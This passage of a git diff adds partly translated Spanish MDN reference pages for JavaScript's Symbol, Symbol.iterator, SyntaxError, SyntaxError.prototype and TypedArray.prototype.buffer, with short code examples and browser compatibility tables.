+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>Un método que devuelve el índice dentro de una cadena que coincide con la expresión regular. Utilizado por {{jsxref("String.prototype.search()")}}.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>Un método que separa una cadena en los índices que coincide una expresión regular. Utilizado por {{jsxref("String.prototype.split()")}}.</dd>
+</dl>
+
+<h4 id="Otros_símbolos">Otros símbolos</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>Un método que determina si un objeto constructor reconoce al objeto como su instancia. Utilizado por {{jsxref("Operators/instanceof", "instanceof")}}.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>Un valor booleano que indica si un objeto debe ser aplanado a sus elementos de matriz. Usado por {{jsxref("Array.prototype.concat()")}}.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>An Array of string values that are property values. These are excluded from the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> environment bindings of the associated objects.</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>Una función <code>constructor</code> utilizada para crear objetos derivados.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>Un método para convertir un objeto a su valor primitivo.</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>Un método para definir la descripción por defecto de un objeto. Usado por {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>Searches for existing symbols with the given key and returns it if found. Otherwise a new symbol gets created in the global symbol registry with this key.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>Retrieves a shared symbol key from the global symbol registry for the given symbol.</dd>
+</dl>
+
+<h2 id="Symbol_prototype"><code>Symbol</code> prototype</h2>
+
+<p>All Symbols inherit from {{jsxref("Symbol.prototype")}}.</p>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
+
+<h3 id="Métodos_2">Métodos</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_operador_typeof_con_symbols">Usando el operador <code>typeof</code> con  symbols</h3>
+
+<p>El operador {{jsxref("Operators/typeof", "typeof")}} puede ayudar a identificar los Symbol.</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="Symbol_type_conversions">Symbol type conversions</h3>
+
+<p>Some things to note when working with type conversion of symbols.</p>
+
+<ul>
+ <li>When trying to convert a symbol to a number, a {{jsxref("TypeError")}} will be thrown<br>
+  (e.g. <code>+sym</code> or <code>sym | 0</code>).</li>
+ <li>When using loose equality, <code>Object(sym) == sym</code> returns <code>true.</code></li>
+ <li><code>Symbol("foo") + "bar" </code>throws a {{jsxref("TypeError")}} (can't convert symbol to string). This prevents you from silently creating a new string property name from a symbol, for example.</li>
+ <li>The <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"safer" <code>String(sym)</code> conversion</a> works like a call to {{jsxref("Symbol.prototype.toString()")}} with symbols, but note that <code>new String(sym)</code> will throw.</li>
+</ul>
+
+<h3 id="Symbols_y_el_iterador_for...in">Symbols y el iterador <code>for...in</code></h3>
+
+<p>Symbols are not visible in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> iterations. In addition, {{jsxref("Object.getOwnPropertyNames()")}} will not return symbol object properties, however, you can use {{jsxref("Object.getOwnPropertySymbols()")}} to get these.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol("a")] = "a";
+obj[Symbol.for("b")] = "b";
+obj["c"] = "c";
+obj.d = "d";
+
+for (var i in obj) {
+   console.log(i); // logs "c" and "d"
+}</pre>
+
+<h3 id="Symbols_y_JSON.stringify()">Symbols y <code>JSON.stringify()</code></h3>
+
+<p>Symbol-keyed properties will be completely ignored when using <code>JSON.stringify()</code>:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol("foo")]: "foo"});
+// '{}'</pre>
+
+<p>For more details, see {{jsxref("JSON.stringify()")}}.</p>
+
+<h3 id="Symbol_wrapper_objects_as_property_keys">Symbol wrapper objects as property keys</h3>
+
+<p>When a Symbol wrapper object is used as a property key, this object will be coerced to its wrapped symbol:</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+var obj = {[sym]: 1};
+obj[sym];            // 1
+obj[Object(sym)];    // still 1
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-symbol-objects', 'Symbol')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Symbol.iterator (@@iterator)</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Symbol.unscopables (@@unscopables)</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Symbol.match (@@match)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("40.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Symbol.species (@@species)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Symbol.toPrimitive (@@toPrimitive)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Other well-known symbols</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Symbol.iterator (@@iterator)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Symbol.unscopables (@@unscopables)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <td>Symbol.match (@@match)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("40.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Symbol.species (@@species)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("41.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Symbol.toPrimitive (@@toPrimitive)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Other well-known symbols</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/Symbol">Glossary: Symbol data type</a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" on hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/symbol/iterator/index.html b/files/es/web/javascript/referencia/objetos_globales/symbol/iterator/index.html
new file mode 100644
index 0000000000..4f9e0212cc
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/symbol/iterator/index.html
@@ -0,0 +1,98 @@
+---
+title: Symbol.iterator
+slug: Web/JavaScript/Referencia/Objetos_globales/Symbol/iterator
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Property
+  - Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator
+---
+<div>{{JSRef}}</div>
+
+<p>El símbolo <code><strong>Symbol.iterator</strong></code> especifica al iterador por defecto de un objeto. Es utilizado por el bucle {{jsxref("Sentencias/for","for")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-iterator.html")}}</div>
+
+<p class="hidden">El código fuente de este ejemplo interactivo está guardado en un repositorio en GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envía un pull request.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>En cualquier situación donde se necesita iterar un objeto (por ejemplo al inicio de un bucle <code>for..of</code>), su método <code>@@iterator</code> es invocado sin argumentos, y el <strong>iterador</strong> regresado es utilizador para obtener los valores a iterar.</p>
+
+<p>Algunos tipos integrados cuentan con un comportamiento de iterar por defecto, mientras que otros tipos (como {{jsxref("Object")}}) no. Los tipos integrados con un método <code>@@iterator</code> son:</p>
+
+<ul>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
+
+<p>Ver <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Protocolos de iteración</a> para más información.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Iterables_definidos_por_el_usuario">Iterables definidos por el usuario</h3>
+
+<p>Podemos definir nuestros propios iterables de la siguiente forma:</p>
+
+<pre class="brush: js notranslate">var myIterable = {}
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...myIterable] // [1, 2, 3]
+</pre>
+
+<h3 id="Iterables_mal_formados">Iterables mal formados</h3>
+
+<p>Si un método iterador <code>@@iterator</code> no devuelve un objeto iterador, es un iterable mal formado. Usarlo como tal es probable que genere excepciones en tiempo de ejecución, o comportamientos inesperados.</p>
+
+<pre class="brush: js notranslate">var nonWellFormedIterable = {}
+nonWellFormedIterable[Symbol.iterator] = () =&gt; 1
+[...nonWellFormedIterable] // TypeError: [] is not a function
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciób</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.iterator', 'Symbol.iterator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol.iterator")}}</p>
+
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+ <li>{{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</li>
+ <li>{{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/syntaxerror/index.html b/files/es/web/javascript/referencia/objetos_globales/syntaxerror/index.html
new file mode 100644
index 0000000000..92bf3f4991
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/syntaxerror/index.html
@@ -0,0 +1,176 @@
+---
+title: SyntaxError
+slug: Web/JavaScript/Referencia/Objetos_globales/SyntaxError
+tags:
+  - Constructor
+  - Error
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <code><strong>SyntaxError</strong></code> representa un error cuando se trata de interpretar codigo sintacticamente invalido.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Un <code>SyntaxError</code> es lanzado cuando el motor de JavaScript se encuentra con partes de código que no forman parte de la sintaxtis del lenguaje al momento analizar el código.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>new SyntaxError([<var>mensaje</var>[, <var>nombreArchivo</var>[, <var>numeroLinea</var>]]])</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>mensaje</code></dt>
+ <dd>Opcional. Descripción legible del error.</dd>
+ <dt><code>nombreArchivo</code> {{non-standard_inline}}</dt>
+ <dd>Opcional. El nombre del archivo que contiene el código que causó la excepción.</dd>
+ <dt><code>numeroLinea</code> {{non-standard_inline}}</dt>
+ <dd>Opcional. El numero de linea del código que causó la excepción.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("SyntaxError.prototype")}}</dt>
+ <dd>Permite el agregado de propiedades al objeto <code>SyntaxError</code>.</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p>El objeto global <code>SyntaxError</code> no contiene metodos propios, sin embargo, hereda algunos metodos debido a la cadena de prototipos.</p>
+
+<h2 id="Instancias_de_SyntaxError"><code>Instancias de SyntaxError</code></h2>
+
+<h3 id="Propiedades_2">Propiedades</h3>
+
+<div>{{page('/es/docs/Web/JavaScript/Referencia/Objetos_globales/SyntaxError/prototype', 'Propiedades')}}</div>
+
+<h3 id="Metodos_2">Metodos</h3>
+
+<div>{{page('/es/docs/Web/JavaScript/Referencia/Objetos_globales/SyntaxError/prototype', 'Metodos')}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Capturando_un_SyntaxError">Capturando un <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+  eval('hoo bar');
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "missing ; before statement"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "Scratchpad/1"
+  console.log(e.lineNumber);             // 1
+  console.log(e.columnNumber);           // 4
+  console.log(e.stack);                  // "@Scratchpad/1:2:3\n"
+}
+</pre>
+
+<h3 id="Creando_un_SyntaxError">Creando un <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+  throw new SyntaxError('Hola', 'unArchivo.js', 10);
+} catch (e) {
+  console.log(e instanceof SyntaxError); // true
+  console.log(e.message);                // "Hola"
+  console.log(e.name);                   // "SyntaxError"
+  console.log(e.fileName);               // "unArchivo.js"
+  console.log(e.lineNumber);             // 10
+  console.log(e.columnNumber);           // 0
+  console.log(e.stack);                  // "@Scratchpad/2:11:9\n"
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.4', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegarores">Compatibilidad con Navegarores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("SyntaxError.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/syntaxerror/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/syntaxerror/prototype/index.html
new file mode 100644
index 0000000000..7535a17309
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/syntaxerror/prototype/index.html
@@ -0,0 +1,132 @@
+---
+title: SyntaxError.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/SyntaxError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Property
+  - Prototype
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong>SyntaxError.prototype</strong></code> representa el prototipo para el constructor {{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Todas las instancias de {{jsxref("SyntaxError")}} son heredadas de <code>SyntaxError.prototype</code>. Puedes usar el prototipo para agregar propiedades o metodos a todas las instancias.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>SyntaxError.prototype.constructor</code></dt>
+ <dd>Especifica la funcion que creó una instancia del prototipo.</dd>
+ <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt>
+ <dd>Mensaje de error. A pesar de que ECMA-262 especifica que {{jsxref("SyntaxError")}} debe proveer su propia propiedad <code>message</code> , en <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>, es heredada de {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt>
+ <dd>Error name. Inherited from {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt>
+ <dd>Ruta al archivo que produjo el error. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt>
+ <dd>Numero de linea en el archivo que produjo el error. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt>
+ <dd>Numero de columna en la linea que produjo el error. Heredada de {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt>
+ <dd>Stack trace. Heredada de {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p>A pesar de que el objeto prototipo de {{jsxref("SyntaxError")}} no contiene metodos propios, las instancias de {{jsxref("SyntaxError")}} heredan algunos metodos debido a la cadena de prototipos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined as <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined as <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined as <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<h2 id="CompatibilityTable"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{CompatibilityTable}}</span></h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/typedarray/buffer/index.html b/files/es/web/javascript/referencia/objetos_globales/typedarray/buffer/index.html
new file mode 100644
index 0000000000..579f8af9bd
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/typedarray/buffer/index.html
@@ -0,0 +1,110 @@
+---
+title: TypedArray.prototype.buffer
+slug: Web/JavaScript/Referencia/Objetos_globales/TypedArray/buffer
+tags:
+  - Buffer
+  - JavaScript
+  - Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/buffer
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad de acceso <strong><code>buffer</code></strong> representa el {{jsxref("ArrayBuffer")}} referenciada por un <em>TypedArray</em> en tiempo de construcción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><var>typedArray</var>.buffer</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La propiedad <code>buffer</code> es una propiedad de acceso cuya función <em>set accessor</em> es <code>undefined</code>, significa que tu sólo puedes leer esta propiedad. El valor es establecido cuando <em>TypedArray</em> se construye y no puede ser cambiado. <em>TypedArray</em> es uno de los <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">TypedArray objects</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_la_propiedad_buffer">Usando la propiedad <code>buffer</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint16 = new Uint16Array(buffer);
+uint16.buffer; // ArrayBuffer { byteLength: 8 }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.buffer', 'TypedArray.prototype.buffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
